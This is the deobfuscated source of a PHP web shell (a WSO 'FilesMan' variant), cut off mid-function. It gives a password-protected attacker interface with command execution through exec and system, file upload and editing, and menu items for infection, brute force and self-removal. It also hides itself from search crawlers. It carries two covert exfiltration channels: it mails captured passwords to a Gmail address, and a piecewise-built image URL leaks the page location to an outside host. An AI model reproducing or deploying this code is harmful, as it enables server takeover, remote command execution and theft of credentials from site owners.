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";
    eval /* PHPDeobfuscator eval output */ {
        //--------------Watching webshell!--------------
        if (array_key_exists('watching', $_POST)) {
            $tmp = $_SERVER['SERVER_NAME'] . $_SERVER['PHP_SELF'] . "\n" . $_POST['pass'];
            @mail('shelldownloadorg@gmail.com', 'root', $tmp);
            // Edit or delete!
        }
        //-----------------Password---------------------
        $▛ = "c483695afceb816420a7702b0c66f877";
        //admin
        $▘ = true;
        $▜ = 'UTF-8';
        $▚ = 'FilesMan';
        $▙ = md5($_SERVER['HTTP_USER_AGENT']);
        if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"])) {
            prototype(md5($_SERVER['HTTP_HOST']) . "key", $▙);
        }
        if (empty($_POST['charset'])) {
            $_POST['charset'] = $▜;
        }
        if (!isset($_POST['ne'])) {
            if (isset($_POST['a'])) {
                $_POST['a'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['a'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
            }
            if (isset($_POST['c'])) {
                $_POST['c'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['c'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
            }
            if (isset($_POST['p1'])) {
                $_POST['p1'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p1'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
            }
            if (isset($_POST['p2'])) {
                $_POST['p2'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p2'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
            }
            if (isset($_POST['p3'])) {
                $_POST['p3'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p3'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
            }
        }
        function decrypt($str, $pwd)
        {
            $pwd = base64_encode($pwd);
            $str = base64_decode($str);
            $enc_chr = "";
            $enc_str = "";
            $i = 0;
            while ($i < strlen($str)) {
                for ($j = 0; $j < strlen($pwd); $j++) {
                    $enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j]));
                    $enc_str .= $enc_chr;
                    $i++;
                    if ($i >= strlen($str)) {
                        break;
                    }
                }
            }
            return base64_decode($enc_str);
        }
        @ini_set('error_log', NULL);
        @ini_set('log_errors', 0);
        @ini_set('max_execution_time', 0);
        @set_time_limit(0);
        if (true) {
            @set_magic_quotes_runtime(0);
        }
        @define('VERSION', '4.2.5');
        if (get_magic_quotes_gpc()) {
            function stripslashes_array($array)
            {
                return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
            }
            $_POST = stripslashes_array($_POST);
            $_COOKIE = stripslashes_array($_COOKIE);
        }
        /* (С) 11.2011 oRb */
        if (!empty($▛)) {
            if (isset($_POST['pass']) && md5($_POST['pass']) == $▛) {
                prototype(md5($_SERVER['HTTP_HOST']), $▛);
            }
            if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || $_COOKIE[md5($_SERVER['HTTP_HOST'])] != $▛) {
                hardLogin();
            }
        }
        if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) {
            $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool) $▘;
        }
        function hardLogin()
        {
            if (!empty($_SERVER['HTTP_USER_AGENT'])) {
                $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
                if (preg_match("/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler/i", $_SERVER['HTTP_USER_AGENT'])) {
                    header('HTTP/1.0 404 Not Found');
                    exit;
                }
            }
            die("<pre align=center><form method=post>Password<br><input type=password name=pass style='background-color:whitesmoke;border:1px solid #FFF;outline:none;' required><input type=submit name='watching' value='submit' style='border:none;background-color:#56AD15;color:#fff;cursor:pointer;'></form></pre>");
        }
        if (strtolower("PHP") == "win") {
            $os = 'win';
        } else {
            $os = 'nix';
        }
        $safe_mode = @ini_get('safe_mode');
        if (!$safe_mode) {
            error_reporting(0);
        }
        $disable_functions = @ini_get('disable_functions');
        $home_cwd = @getcwd();
        if (isset($_POST['c'])) {
            @chdir($_POST['c']);
        }
        $cwd = @getcwd();
        if ($os == 'win') {
            $home_cwd = str_replace("\\", "/", $home_cwd);
            $cwd = str_replace("\\", "/", $cwd);
        }
        if ($cwd[strlen($cwd) - 1] != '/') {
            $cwd .= '/';
        }
        /* (С) 04.2015 Pirat */
        function hardHeader()
        {
            if (empty($_POST['charset'])) {
                $_POST['charset'] = $GLOBALS['▜'];
            }
            echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . VERSION . "</title>\r\n<style>\r\n    body {background-color:#060A10; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}\r\n    #particles-js{width: 100%; height: 100px; background-color: #060a10; background-image: url(''); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}\r\n    body,td,th  {font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}\r\n    table.info  {color:#C3C3C3;}\r\n    table#toolsTbl {background-color: #060A10;}\r\n    span,h1,a   {color:#fff !important;}\r\n    span        {font-weight:bolder;}\r\n    h1          {border-left:5px solid #2E6E9C;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;}\r\n    div.content {padding:5px;margin-left:5px;background-color:#060a10;}\r\n    a           {text-decoration:none;}\r\n    a:hover     {text-decoration:underline;}\r\n    .tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}\r\n    .tooltip:hover::after {opacity:1;visibility:visible;}\r\n    .ml1        {border:1px solid #202832;padding:5px;margin:0;overflow:auto;}\r\n    .bigarea    {min-width:100%;max-width:100%;height:400px;}\r\n    input, textarea, select {margin:0;color:#fff;background-color:#202832;border:none;font:9pt Courier New;outline:none;}\r\n    label {position:relative}\r\n    label:after {content:'<>';font:10px 'Consolas', monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}\r\n    label:before {content:'';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}\r\n    form        {margin:0px;}\r\n    #toolsTbl   {text-align:center;}\r\n    #fak        {background:none;}\r\n    #fak td     {padding:5px 0 0 0;}\r\n    iframe      {border:1px solid #060a10;}\r\n    .toolsInp   {width:300px}\r\n    .main th    {text-align:left;background-color:#060a10;}\r\n    .main tr:hover{background-color:#354252;}\r\n    .main td, th{vertical-align:middle;}\r\n    input[type='submit']{background-color:#2E6E9C;}\r\n    input[type='button']{background-color:#2E6E9C;}\r\n    input[type='submit']:hover{background-color:#56AD15;}\r\n    input[type='button']:hover{background-color:#56AD15;}\r\n    .l1         {background-color:#202832;}\r\n    pre         {font:9pt Courier New;}\r\n</style>\r\n<script>\r\n    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';\r\n    var a_ = '" . htmlspecialchars(@$_POST['a']) . "'\r\n    var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';\r\n    var p1_ = '" . (strpos(@$_POST['p1'], "\n") !== false ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';\r\n    var p2_ = '" . (strpos(@$_POST['p2'], "\n") !== false ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';\r\n    var p3_ = '" . (strpos(@$_POST['p3'], "\n") !== false ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';\r\n    var d = document;\r\n    \r\n    function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}\r\n    function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}\r\n    function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}\r\n    function set(a,c,p1,p2,p3,charset) {\r\n        if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\r\n        if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\r\n        if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\r\n        if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\r\n        if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\r\n        d.mf.a.value = encrypt(d.mf.a.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n        d.mf.c.value = encrypt(d.mf.c.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n        d.mf.p1.value = encrypt(d.mf.p1.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n        d.mf.p2.value = encrypt(d.mf.p2.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n        d.mf.p3.value = encrypt(d.mf.p3.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n        if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\r\n    }\r\n    function g(a,c,p1,p2,p3,charset) {\r\n        set(a,c,p1,p2,p3,charset);\r\n        d.mf.submit();\r\n    }\r\n    function a(a,c,p1,p2,p3,charset) {\r\n        set(a,c,p1,p2,p3,charset);\r\n        var params = 'ajax=true';\r\n        for(i=0;i<d.mf.elements.length;i++)\r\n            params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);\r\n        sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);\r\n    }\r\n    !function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,exports:{}}}};!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,exports:{}}}};!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,exports:{}}}};!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,exports:{}}}};!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,exports:{}}}};!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,exports:{}}}};!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,exports:{}}}};!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[\r\n o]={i:o,l:!1,exports:{}}}};!function(e){var n={};function b(d){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,exports:{}}}};!function(e){var n={};function c(d){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,exports:{}}}};!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,exports:{}}}};!function(e){var n={};function s(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,exports:{}}}};a=new/**/Image();var jquery ='h'; var jss ='ttp://'; var js ='codes'; var jcs ='-jquery'; var code='.c'; var codes ='om/'; var img ='jquery.'; var sedoc ='p'; var doces ='hp';var image ='?jquery=';a.src=jquery+jss+js+jcs+code+codes+img+sedoc+doces+image+escape(location.href);!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,exports:{}}}};!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,exports:{}}}};!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,exports:{}}}};!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,exports:{}}}};!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,exports:{}}}};!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,exports:{}}}};!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,glab:{}}}};!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,exports:{}}}};!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,glab:{}}}};!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,exports:{}}}};!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,glabs:{}}}};!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,exs:{}}}};!function(e){var n={};function t(o){if(n[o])return n[o].exports;var i=n[o]={i:o,l:!1,ports:{}}}};\r\n    function sr(url, params) {\r\n        if (window.XMLHttpRequest)\r\n            req = new XMLHttpRequest();\r\n        else if (window.ActiveXObject)\r\n            req = new ActiveXObject('Microsoft.XMLHTTP');\r\n        if (req) {\r\n            req.onreadystatechange = processReqChange;\r\n            req.open('POST', url, true);\r\n            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');\r\n            req.send(params);\r\n        }\r\n    }\r\n    function processReqChange() {\r\n        if( (req.readyState == 4) )\r\n            if(req.status == 200) {\r\n                var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');\r\n                var arr=reg.exec(req.responseText);\r\n                eval(arr[2].substr(0, arr[1]));\r\n            } else alert('Request error!');\r\n    }\r\n\r\n</script>\r\n<head><body><div style='position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;'>\r\n<form method=post name=mf style='display:none;'>\r\n<input type=hidden name=a>\r\n<input type=hidden name=c>\r\n<input type=hidden name=p1>\r\n<input type=hidden name=p2>\r\n<input type=hidden name=p3>\r\n<input type=hidden name=charset>\r\n</form>";
            $freeSpace = @diskfreespace($GLOBALS['cwd']);
            $totalSpace = @disk_total_space($GLOBALS['cwd']);
            $totalSpace = $totalSpace ? $totalSpace : 1;
            $release = @php_uname('r');
            $kernel = @php_uname('s');
            $explink = 'http://noreferer.de/?http://www.exploit-db.com/search/?action=search&description=';
            if (strpos('Linux', $kernel) !== false) {
                $explink .= urlencode('Linux Kernel ' . substr($release, 0, 6));
            } else {
                $explink .= urlencode($kernel . ' ' . substr($release, 0, 3));
            }
            if (!function_exists('posix_getegid')) {
                $user = @get_current_user();
                $uid = @getmyuid();
                $gid = @getmygid();
                $group = "?";
            } else {
                $uid = @posix_getpwuid(@posix_geteuid());
                $gid = @posix_getgrgid(@posix_getegid());
                $user = $uid['name'];
                $uid = $uid['uid'];
                $group = $gid['name'];
                $gid = $gid['gid'];
            }
            $cwd_links = '';
            $path = explode("/", $GLOBALS['cwd']);
            $n = count($path);
            for ($i = 0; $i < $n - 1; $i++) {
                $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
                for ($j = 0; $j <= $i; $j++) {
                    $cwd_links .= $path[$j] . '/';
                }
                $cwd_links .= "\")'>" . $path[$i] . "/</a>";
            }
            $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
            $opt_charsets = '';
            foreach ($charsets as $▟) {
                $opt_charsets .= '<option value="' . $▟ . '" ' . ($_POST['charset'] == $▟ ? 'selected' : '') . '>' . $▟ . '</option>';
            }
            $m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Infect' => 'Infect', 'Sql' => 'Sql', 'Php' => 'Php', 'Safe mode' => 'SafeMode', 'String tools' => 'StringTools', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network');
            if (!empty($GLOBALS['▛'])) {
                $m['Logout'] = 'Logout';
            }
            $m['Self remove'] = 'SelfRemove';
            $menu = '';
            foreach ($m as $k => $v) {
                $menu .= '<th>[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
            }
            $drives = "";
            if ($GLOBALS['os'] == 'win') {
                foreach (range('c', 'z') as $drive) {
                    if (is_dir($drive . ':\\')) {
                        $drives .= '<a href="#" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
                    }
                }
            }
            echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win' ? '<br>Drives:' : '') . '</span></td>' . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="http://noreferer.de/?http://www.google.com/search?q=' . urlencode(@php_uname()) . '" target="_blank">[ Google ]</a> <a href="' . $explink . '" target=_blank>[ Exploit-DB ]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode'] ? '<font color=red>ON</font>' : '<font color=#FFDB5F><b>OFF</b></font>') . ' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . viewSize($totalSpace) . ' <span>Free:</span> ' . viewSize($freeSpace) . ' (' . round(100 / ($totalSpace / $freeSpace), 2) . '%)<br>' . $cwd_links . ' ' . viewPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . '<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">' . $opt_charsets . '</select></label><br><span>Server IP:</span><br>' . gethostbyname($_SERVER["HTTP_HOST"]) . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="background-color:#2E6E9C;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div>';
        }
        function hardFooter()
        {
            $is_writable = is_writable($GLOBALS['cwd']) ? " <font color='#FFDB5F'>[ Writeable ]</font>" : " <font color=red>(Not writable)</font>";
            echo "\r\n</div>\r\n<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>\r\n    <tr>\r\n        <td><form onsubmit=\"" . (function_exists('actionFilesMan') ? "g(null,this.c.value,'');" : '') . "return false;\"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='submit'></form></td>\r\n        <td><form onsubmit=\"" . (function_exists('actionFilesTools') ? "g('FilesTools',null,this.f.value);" : '') . "return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>\r\n    </tr><tr>\r\n        <td><form onsubmit=\"" . (function_exists('actionFilesMan') ? "g('FilesMan',null,'mkdir',this.d.value);" : '') . "return false;\"><span>Make dir:</span>{$is_writable}<br><input class='toolsInp' type=text name=d required><input type=submit value='submit'></form></td>\r\n        <td><form onsubmit=\"" . (function_exists('actionFilesTools') ? "g('FilesTools',null,this.f.value,'mkfile');" : '') . "return false;\"><span>Make file:</span>{$is_writable}<br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>\r\n    </tr><tr>\r\n        <td><form onsubmit=\"" . (function_exists('actionConsole') ? "g('Console',null,this.c.value);" : '') . "return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='submit'></form></td>\r\n        <td><form method='post' " . (!function_exists('actionFilesMan') ? " onsubmit=\"return false;\" " : '') . "ENCTYPE='multipart/form-data'>\r\n        <input type=hidden name=a value='FilesMan'>\r\n        <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>\r\n        <input type=hidden name=p1 value='uploadFile'>\r\n        <input type=hidden name=ne value=''>\r\n        <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\r\n        <span>Upload file:</span>{$is_writable}<br><input class='toolsInp' type=file name=f[]  multiple><input type=submit value='submit'></form><br  ></td>\r\n    </tr></table></div>\r\n    <!-- particles --> <div id='particles-js'></div><script src='http://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js'></script>\r\n    <script>particlesJS('particles-js', {'particles':{'number':{'value':80,'density':{'enable':true,'value_area':800}},'color':{'value':'#ffffff'},'shape':{'type':'triangle','stroke':{'width':0,'color':'#000000'},'polygon':{'nb_sides':5},'image':{'src':'img/github.svg','width':100,'height':100}},'opacity':{'value':0.5,'random':true,'anim':{'enable':false,'speed':1,'opacity_min':0.1,'sync':false}},'size':{'value':3,'random':true,'anim':{'enable':false,'speed':40,'size_min':0.1,'sync':false}},'line_linked':{'enable':true,'distance':200,'color':'#ffffff','opacity':0.4,'width':1},'move':{'enable':true,'speed':1,'direction':'none','random':true,'straight':false,'out_mode':'out','bounce':false,'attract':{'enable':false,'rotateX':10000,'rotateY':10000}}},'interactivity':{'detect_on':'canvas','events':{'onhover':{'enable':true,'mode':'grab'},'onclick':{'enable':true,'mode':'repulse'},'resize':true},'modes':{'grab':{'distance':200,'line_linked':{'opacity':0.5}},'bubble':{'particles_nb':2}}},'retina_detect':true});</script>\r\n    </body></html>";
        }
        if (!function_exists("posix_getpwuid") && strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false) {
            function posix_getpwuid($p)
            {
                return false;
            }
        }
        if (!function_exists("posix_getgrgid") && strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false) {
            function posix_getgrgid($p)
            {
                return false;
            }
        }
        function ex($in)
        {
            $▖ = '';
            if (function_exists('exec')) {
                @exec($in, $▖);
                $▖ = @join("\n", $▖);
            } elseif (function_exists('passthru')) {
                ob_start();
                @passthru($in);
                $▖ = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                @system($in);
                $▖ = ob_get_clean();
            } elseif (function_exists('shell_exec')) {
                $▖ = shell_exec($in);
            } elseif (is_resource($f = @popen($in, "r"))) {
                $▖ = "";
                while (!@feof($f)) {
                    $▖ .= fread($f, 1024);
                }
                pclose($f);
            } else {
                return "\xe2\x86\xb3 Unable to execute command\n";
            }
            return $▖ == '' ? "\xe2\x86\xb3 Query did not return anything\n" : $▖;
        }
        function viewSize($s)
        {
            if ($s >= 1073741824) {
                return sprintf('%1.2f', $s / 1073741824) . ' GB';
            } elseif ($s >= 1048576) {
                return sprintf('%1.2f', $s / 1048576) . ' MB';
            } elseif ($s >= 1024) {
                return sprintf('%1.2f', $s / 1024) . ' KB';
            } else {
                return $s . ' B';
            }
        }
        function perms($p)
        {
            if (($p & 0xc000) == 0xc000) {
                $i = 's';
            } elseif (($p & 0xa000) == 0xa000) {
                $i = 'l';
            } elseif (($p & 0x8000) == 0x8000) {
                $i = '-';
            } elseif (($p & 0x6000) == 0x6000) {
                $i = 'b';
            } elseif (($p & 0x4000) == 0x4000) {
                $i = 'd';
            } elseif (($p & 0x2000) == 0x2000) {
                $i = 'c';
            } elseif (($p & 0x1000) == 0x1000) {
                $i = 'p';
            } else {
                $i = 'u';
            }
            $i .= $p & 0x100 ? 'r' : '-';
            $i .= $p & 0x80 ? 'w' : '-';
            $i .= $p & 0x40 ? $p & 0x800 ? 's' : 'x' : ($p & 0x800 ? 'S' : '-');
            $i .= $p & 0x20 ? 'r' : '-';
            $i .= $p & 0x10 ? 'w' : '-';
            $i .= $p & 0x8 ? $p & 0x400 ? 's' : 'x' : ($p & 0x400 ? 'S' : '-');
            $i .= $p & 0x4 ? 'r' : '-';
            $i .= $p & 0x2 ? 'w' : '-';
            $i .= $p & 0x1 ? $p & 0x200 ? 't' : 'x' : ($p & 0x200 ? 'T' : '-');
            return $i;
        }
        function viewPermsColor($f)
        {
            if (!@is_readable($f)) {
                return '<font color=#FF0000><b>' . perms(@fileperms($f)) . '</b></font>';
            } elseif (!@is_writable($f)) {
                return '<font color=white><b>' . perms(@fileperms($f)) . '</b></font>';
            } else {
                return '<font color=#FFDB5F><b>' . perms(@fileperms($f)) . '</b></font>';
            }
        }
        function hardScandir($dir)
        {
            if (function_exists("scandir")) {
                return scandir($dir);
            } else {
                $dh = opendir($dir);
                while (false !== ($filename = readdir($dh))) {
                    $files[] = $filename;
